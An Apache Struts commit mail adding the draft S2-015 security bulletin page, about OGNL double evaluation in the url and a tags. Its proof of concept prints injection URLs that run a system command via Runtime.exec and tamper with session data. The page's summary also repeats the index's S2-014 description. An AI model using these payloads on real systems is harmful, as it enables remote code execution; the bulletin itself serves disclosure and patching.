You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@struts.apache.org by lu...@apache.org on 2013/06/04 18:01:41 UTC

svn commit: r864369 - in /websites/production/struts/content/development/2.x/docs: s2-015.html security-bulletins.html

Author: lukaszlenart
Date: Tue Jun  4 16:01:40 2013
New Revision: 864369

Log:
Updates draft docs

Added:
    websites/production/struts/content/development/2.x/docs/s2-015.html
Modified:
    websites/production/struts/content/development/2.x/docs/security-bulletins.html

Added: websites/production/struts/content/development/2.x/docs/s2-015.html
==============================================================================
--- websites/production/struts/content/development/2.x/docs/s2-015.html (added)
+++ websites/production/struts/content/development/2.x/docs/s2-015.html Tue Jun  4 16:01:40 2013
@@ -0,0 +1,246 @@
+
+<!-- 
+Licensed to the Apache Software Foundation (ASF) under one
+or more contributor license agreements.  See the NOTICE file
+distributed with this work for additional information
+regarding copyright ownership.  The ASF licenses this file
+to you under the Apache License, Version 2.0 (the
+"License"); you may not use this file except in compliance
+with the License.  You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE- 2.0
+
+Unless required by applicable law or agreed to in writing,
+software distributed under the License is distributed on an
+"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+KIND, either express or implied.  See the License for the
+specific language governing permissions and limitations
+under the License. 
+-->
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
+<HTML>
+  <HEAD>
+    <LINK type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
+    <STYLE type="text/css">
+      .dp-highlighter {
+        width:95% !important;
+      }
+    </STYLE>
+    <STYLE type="text/css">
+      .footer {
+        background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
+        background-repeat:     repeat-x;
+        background-position:   left top;
+        padding-top:           4px;
+        color:                 #666;
+      }
+    </STYLE>
+    <SCRIPT type="text/javascript" language="javascript">
+      var hide = null;
+      var show = null;
+      var children = null;
+
+      function init() {
+        /* Search form initialization */
+        var form = document.forms['search'];
+        if (form != null) {
+          form.elements['domains'].value = location.hostname;
+          form.elements['sitesearch'].value = location.hostname;
+        }
+
+        /* Children initialization */
+        hide = document.getElementById('hide');
+        show = document.getElementById('show');
+        children = document.all != null ?
+                   document.all['children'] :
+                   document.getElementById('children');
+        if (children != null) {
+          children.style.display = 'none';
+          show.style.display = 'inline';
+          hide.style.display = 'none';
+        }
+      }
+
+      function showChildren() {
+        children.style.display = 'block';
+        show.style.display = 'none';
+        hide.style.display = 'inline';
+      }
+
+      function hideChildren() {
+        children.style.display = 'none';
+        show.style.display = 'inline';
+        hide.style.display = 'none';
+      }
+    </SCRIPT>
+    <TITLE>S2-015</TITLE>
+  <META http-equiv="Content-Type" content="text/html;charset=UTF-8"></HEAD>
+  <BODY onload="init()">
+    <TABLE border="0" cellpadding="2" cellspacing="0" width="100%">
+      <TR class="topBar">
+        <TD align="left" valign="middle" class="topBarDiv" align="left" nowrap="">
+          &nbsp;<A href="home.html" title="Apache Struts 2 Documentation">Apache Struts 2 Documentation</A>&nbsp;&gt;&nbsp;<A href="home.html" title="Home">Home</A>&nbsp;&gt;&nbsp;<A href="security-bulletins.html" title="Security Bulletins">Security Bulletins</A>&nbsp;&gt;&nbsp;<A href="" title="S2-015">S2-015</A>
+        </TD>
+        <TD align="right" valign="middle" nowrap="">
+          <FORM name="search" action="http://www.google.com/search" method="get">
+            <INPUT type="hidden" name="ie" value="UTF-8">
+            <INPUT type="hidden" name="oe" value="UTF-8">
+            <INPUT type="hidden" name="domains" value="">
+            <INPUT type="hidden" name="sitesearch" value="">
+            <INPUT type="text" name="q" maxlength="255" value="">        
+            <INPUT type="submit" name="btnG" value="Google Search">
+          </FORM>
+        </TD>
+      </TR> 
+    </TABLE>
+
+    <DIV id="PageContent">
+      <DIV class="pageheader" style="padding: 6px 0px 0px 0px;">
+        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
+        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
+        <DIV style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</DIV>
+        <DIV style="margin: 0px 10px 8px 10px" class="pagetitle">S2-015</DIV>
+
+        <DIV class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
+          <A href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31823638">
+            <IMG src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif" height="16" width="16" border="0" align="absmiddle" title="Edit Page"></A>
+            <A href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31823638">Edit Page</A>
+          &nbsp;
+          <A href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
+            <IMG src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif" height="16" width="16" border="0" align="absmiddle" title="Browse Space"></A>
+            <A href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</A>
+          &nbsp;
+          <A href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31823638">
+            <IMG src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif" height="16" width="16" border="0" align="absmiddle" title="Add Page"></A>
+          <A href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31823638">Add Page</A>
+          &nbsp;
+          <A href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31823638">
+            <IMG src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif" height="16" width="16" border="0" align="absmiddle" title="Add News"></A>
+          <A href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31823638">Add News</A>
+        </DIV>
+      </DIV>
+
+      <DIV class="pagecontent">
+        <DIV class="wiki-content">
+          <H2><A name="S2-015-Summary"></A>Summary</H2>
+
+
+<P>A vulnerability introduced by forcing parameter inclusion in the <EM>URL</EM> and <EM>Anchor</EM> Tag allows remote command execution, session access and manipulation and XSS attacks</P>
+
+
+<DIV class="table-wrap">
+<TABLE class="confluenceTable"><TBODY>
+<TR>
+<TH class="confluenceTh">Who should read this</TH>
+<TD class="confluenceTd">All Struts 2 developers and users</TD>
+</TR>
+<TR>
+<TH class="confluenceTh">Impact of vulnerability</TH>
+<TD class="confluenceTd">Remote command execution, remote server context manipulation, injection of malicious client side code</TD>
+</TR>
+<TR>
+<TH class="confluenceTh">Maximum security rating</TH>
+<TD class="confluenceTd">Highly Critical</TD>
+</TR>
+<TR>
+<TH class="confluenceTh">Recommendation</TH>
+<TD class="confluenceTd">Developers should immediately upgrade to <A href="http://struts.apache.org/download.cgi#struts23142" class="external-link" rel="nofollow">Struts 2.3.14.2</A></TD>
+</TR>
+<TR>
+<TH class="confluenceTh">Affected Software</TH>
+<TD class="confluenceTd"> Struts 2.0.0 - Struts 2.3.14.1 </TD>
+</TR>
+<TR>
+<TH class="confluenceTh">Reporter</TH>
+<TD class="confluenceTd"> Eric Kobrin and Douglas Rodrigues (Akamai), Coverity Security Research Laboratory, NSFOCUS Security Team </TD>
+</TR>
+<TR>
+<TH class="confluenceTh">CVE Identifier</TH>
+<TD class="confluenceTd"><A href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2115" class="external-link" rel="nofollow">CVE-2013-2115</A>, <A href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1966" class="external-link" rel="nofollow">CVE-2013-1966</A></TD>
+</TR>
+</TBODY></TABLE>
+</DIV>
+
+
+<H2><A name="S2-015-Problem"></A>Problem</H2>
+
+<P>Both the <A href="http://struts.apache.org/release/2.3.x/struts2-core/apidocs/org/apache/struts2/components/URL.html" class="external-link" rel="nofollow"><EM>s:url</EM></A> and <A href="http://struts.apache.org/release/2.3.x/struts2-core/apidocs/org/apache/struts2/components/Anchor.html" class="external-link" rel="nofollow"><EM>s:a</EM></A> tag provide an <EM>includeParams</EM> attribute. </P>
+
+<P>The main scope of that attribute is to understand whether includes http request parameter or not.  </P>
+
+<P>The allowed values of includeParams are:</P>
+<OL>
+	<LI><EM>none</EM> - include no parameters in the URL (default)</LI>
+	<LI><EM>get</EM> - include only GET parameters in the URL</LI>
+	<LI><EM>all</EM> - include both GET and POST parameters in the URL</LI>
+</OL>
+
+
+<P>A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into the stack, afterward used as request parameter of an <EM>URL</EM> or <EM>A</EM> tag , which will cause a further evaluation. </P>
+
+<P>The second evaluation happens when the URL/A tag tries to resolve every parameters present in the original request.<BR>
+This lets malicious users put arbitrary OGNL statements into any request parameter (not necessarily managed by the code) and have it evaluated as an OGNL expression to enable method execution and execute arbitrary methods, bypassing Struts and OGNL library protections.</P>
+
+<P>The issue was originally addressed by Struts 2.3.14.1 and Security Announcement <A href="s2-013.html" title="S2-013">S2&#45;013</A>. However, the solution introduced with 2.3.14.1 did not address all possible attack vectors, such that <B>every</B> version of Struts 2 before 2.3.14.2 is still vulnerable to such attacks.</P>
+
+<H2><A name="S2-015-Proofofconcept"></A>Proof of concept</H2>
+
+<OL>
+	<LI>Open HelloWorld.jsp present in the Struts Blank App and add to one of the url/a tag the following parameter:
+<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent panelContent">
+<PRE class="code-java">
+ includeParams=<SPAN class="code-quote">&quot;all&quot;</SPAN>
+</PRE>
+</DIV></DIV>
+<P>Such that the line will be something look like this:</P>
+<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent panelContent">
+<PRE class="code-xml">
+<SPAN class="code-tag">&lt;s:url id=<SPAN class="code-quote">&quot;url&quot;</SPAN> action=<SPAN class="code-quote">&quot;HelloWorld&quot;</SPAN> includeParams=<SPAN class="code-quote">&quot;all&quot;</SPAN>&gt;</SPAN>
+</PRE>
+</DIV></DIV></LI>
+	<LI>Run struts2-blank app</LI>
+	<LI>Open the following url, resulting in calc application opening on Windows (try ....exec('open%20.')} to open a Finder window on Mac OS):
+  <DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent panelContent">
+<PRE class="code-java">http:<SPAN class="code-comment">//localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23_memberAccess[%22allowStaticMethodAccess%22]=<SPAN class="code-keyword">true</SPAN>,@java.lang.<SPAN class="code-object">Runtime</SPAN>@getRuntime().exec('calc')}</SPAN></PRE>
+</DIV></DIV></LI>
+	<LI>Open the following url to modify session content:
+  <DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent panelContent">
+<PRE class="code-java">http:<SPAN class="code-comment">//localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23session[%22hacked%22]='<SPAN class="code-keyword">true</SPAN>'}</SPAN></PRE>
+</DIV></DIV></LI>
+	<LI>Open the following url to print out session content and in combination with the previous example introduce arbitrary code into the resulting HTML output:
+  <DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent panelContent">
+<PRE class="code-java">http:<SPAN class="code-comment">//localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23session[%22hacked%22]}</SPAN></PRE>
+</DIV></DIV></LI>
+</OL>
+
+
+<P>As you will notice, in this case, there is no way to escape/sanitize the malicious parameter, since it's not an expected parameter and even will not get evaluated the request parameters are processed. </P>
+
+<H2><A name="S2-015-Solution"></A>Solution</H2>
+
+<P>The URL rendering subsystem was changed to not pass any parameter name or value to OGNL evaluation.</P>
+
+<P>The MemberAccess component's allowStaticMethodAccess property is now immutable.</P>
+
+<DIV class="panelMacro"><TABLE class="noteMacro"><COLGROUP><COL width="24"><COL></COLGROUP><TR><TD valign="top"><IMG src="https://cwiki.apache.org/confluence/images/icons/emoticons/warning.gif" width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD><B>Backward Compatibility</B><BR>A small amount of very elaborated <EM>URL</EM> or <EM>A</EM> tag usages depending on the now disabled evaluation might produce unexpected results now.<BR>
+Please, ensure that
+<OL>
+	<LI>all expressions that should get evaluated are explicitly introduced via <EM>PARAM</EM> tags within <EM>URL</EM> or <EM>A</EM> tags.</LI>
+	<LI>all expressions used in <EM>PARAM</EM> tags come from a sanitized input.</LI>
+</OL>
+</TD></TR></TABLE></DIV>
+
+<DIV class="panelMacro"><TABLE class="warningMacro"><COLGROUP><COL width="24"><COL></COLGROUP><TR><TD valign="top"><IMG src="https://cwiki.apache.org/confluence/images/icons/emoticons/forbidden.gif" width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD><B>It is strongly recommended to upgrade to <A href="http://struts.apache.org/download.cgi#struts23142" class="external-link" rel="nofollow">Struts 2.3.14.2</A>, which contains the corrected OGNL and XWork library.</B></TD></TR></TABLE></DIV>
+        </DIV>
+
+        
+      </DIV>
+    </DIV>
+    <DIV class="footer">
+      Generated by
+      <A href="http://www.atlassian.com/confluence/">Atlassian Confluence</A> (Version: 3.4.9 Build: 2042 Feb 14, 2011)
+      <A href="http://could.it/autoexport/">Auto Export Plugin</A> (Version: 1.0.0-dkulp)
+    </DIV>
+  </BODY>
+</HTML>
\ No newline at end of file

Modified: websites/production/struts/content/development/2.x/docs/security-bulletins.html
==============================================================================
--- websites/production/struts/content/development/2.x/docs/security-bulletins.html (original)
+++ websites/production/struts/content/development/2.x/docs/security-bulletins.html Tue Jun  4 16:01:40 2013
@@ -124,8 +124,7 @@ under the License. 
       <DIV class="pagecontent">
         <DIV class="wiki-content">
           <P>The following security bulletins are available:</P>
-
-<UL><LI><A href="s2-001.html" title="S2-001">S2-001</A> &mdash; <SPAN class="smalltext">Remote code exploit on form validation error</SPAN></LI><LI><A href="s2-002.html" title="S2-002">S2-002</A> &mdash; <SPAN class="smalltext">Cross site scripting (XSS) vulnerability on &lt;s:url&gt; and &lt;s:a&gt; tags</SPAN></LI><LI><A href="s2-003.html" title="S2-003">S2-003</A> &mdash; <SPAN class="smalltext">XWork ParameterInterceptors bypass allows OGNL statement execution</SPAN></LI><LI><A href="s2-004.html" title="S2-004">S2-004</A> &mdash; <SPAN class="smalltext">Directory traversal vulnerability while serving static content</SPAN></LI><LI><A href="s2-005.html" title="S2-005">S2-005</A> &mdash; <SPAN class="smalltext">XWork ParameterInterceptors bypass allows remote command execution</SPAN></LI><LI><A href="s2-006.html" title="S2-006">S2-006</A> &mdash; <SPAN class="smalltext">Multiple Cross-Site Scripting (XSS) in XWork generated error pages</SPAN></LI><LI><A href="s2-007.html" t
 itle="S2-007">S2-007</A> &mdash; <SPAN class="smalltext">User input is evaluated as an OGNL expression when there's a conversion error</SPAN></LI><LI><A href="s2-008.html" title="S2-008">S2-008</A> &mdash; <SPAN class="smalltext">Multiple critical vulnerabilities in Struts2</SPAN></LI><LI><A href="s2-009.html" title="S2-009">S2-009</A> &mdash; <SPAN class="smalltext">ParameterInterceptor vulnerability allows remote command execution</SPAN></LI><LI><A href="s2-010.html" title="S2-010">S2-010</A> &mdash; <SPAN class="smalltext">When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes</SPAN></LI><LI><A href="s2-011.html" title="S2-011">S2-011</A> &mdash; <SPAN class="smalltext">Long request parameter names might significantly promote the effectiveness of DOS attacks</SPAN></LI><LI><A href="s2-012.html" title="S2-012">S2-012</A> &mdash; <SPAN class="smalltext">Showcase app vulnerability allows remote command execut
 ion</SPAN></LI><LI><A href="s2-013.html" title="S2-013">S2-013</A> &mdash; <SPAN class="smalltext">A vulnerability, present in the <EM>includeParams</EM> attribute of the <EM>URL</EM> and <EM>Anchor</EM> Tag, allows remote command execution</SPAN></LI><LI><A href="s2-014.html" title="S2-014">S2-014</A> &mdash; <SPAN class="smalltext">A vulnerability introduced by forcing parameter inclusion in the <EM>URL</EM> and <EM>Anchor</EM> Tag allows remote command execution, session access and manipulation and XSS attacks</SPAN></LI><LI><A href="https://cwiki.apache.org/confluence/display/WW/S2-015" title="S2-015">S2-015</A> &mdash; <SPAN class="smalltext">A vulnerability introduced by wildcard matching mechanism or double evaluation of OGNL Expression allows remote command execution</SPAN></LI></UL>
+<UL><LI><A href="s2-001.html" title="S2-001">S2-001</A> &mdash; <SPAN class="smalltext">Remote code exploit on form validation error</SPAN></LI><LI><A href="s2-002.html" title="S2-002">S2-002</A> &mdash; <SPAN class="smalltext">Cross site scripting (XSS) vulnerability on &lt;s:url&gt; and &lt;s:a&gt; tags</SPAN></LI><LI><A href="s2-003.html" title="S2-003">S2-003</A> &mdash; <SPAN class="smalltext">XWork ParameterInterceptors bypass allows OGNL statement execution</SPAN></LI><LI><A href="s2-004.html" title="S2-004">S2-004</A> &mdash; <SPAN class="smalltext">Directory traversal vulnerability while serving static content</SPAN></LI><LI><A href="s2-005.html" title="S2-005">S2-005</A> &mdash; <SPAN class="smalltext">XWork ParameterInterceptors bypass allows remote command execution</SPAN></LI><LI><A href="s2-006.html" title="S2-006">S2-006</A> &mdash; <SPAN class="smalltext">Multiple Cross-Site Scripting (XSS) in XWork generated error pages</SPAN></LI><LI><A href="s2-007.html" t
 itle="S2-007">S2-007</A> &mdash; <SPAN class="smalltext">User input is evaluated as an OGNL expression when there's a conversion error</SPAN></LI><LI><A href="s2-008.html" title="S2-008">S2-008</A> &mdash; <SPAN class="smalltext">Multiple critical vulnerabilities in Struts2</SPAN></LI><LI><A href="s2-009.html" title="S2-009">S2-009</A> &mdash; <SPAN class="smalltext">ParameterInterceptor vulnerability allows remote command execution</SPAN></LI><LI><A href="s2-010.html" title="S2-010">S2-010</A> &mdash; <SPAN class="smalltext">When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes</SPAN></LI><LI><A href="s2-011.html" title="S2-011">S2-011</A> &mdash; <SPAN class="smalltext">Long request parameter names might significantly promote the effectiveness of DOS attacks</SPAN></LI><LI><A href="s2-012.html" title="S2-012">S2-012</A> &mdash; <SPAN class="smalltext">Showcase app vulnerability allows remote command execut
 ion</SPAN></LI><LI><A href="s2-013.html" title="S2-013">S2-013</A> &mdash; <SPAN class="smalltext">A vulnerability, present in the <EM>includeParams</EM> attribute of the <EM>URL</EM> and <EM>Anchor</EM> Tag, allows remote command execution</SPAN></LI><LI><A href="s2-014.html" title="S2-014">S2-014</A> &mdash; <SPAN class="smalltext">A vulnerability introduced by forcing parameter inclusion in the <EM>URL</EM> and <EM>Anchor</EM> Tag allows remote command execution, session access and manipulation and XSS attacks</SPAN></LI><LI><A href="s2-015.html" title="S2-015">S2-015</A> &mdash; <SPAN class="smalltext">A vulnerability introduced by wildcard matching mechanism or double evaluation of OGNL Expression allows remote command execution</SPAN></LI></UL>
         </DIV>
 
                   <DIV class="tabletitle">
@@ -178,7 +177,7 @@ under the License. 
                           <A href="s2-014.html" title="S2-014">S2-014</A>
               <SPAN class="smalltext">(Apache Struts 2 Documentation)</SPAN>
               <BR>
-                          <A href="https://cwiki.apache.org/confluence/display/WW/S2-015" title="S2-015">S2-015</A>
+                          <A href="s2-015.html" title="S2-015">S2-015</A>
               <SPAN class="smalltext">(Apache Struts 2 Documentation)</SPAN>
               <BR>
                       </DIV>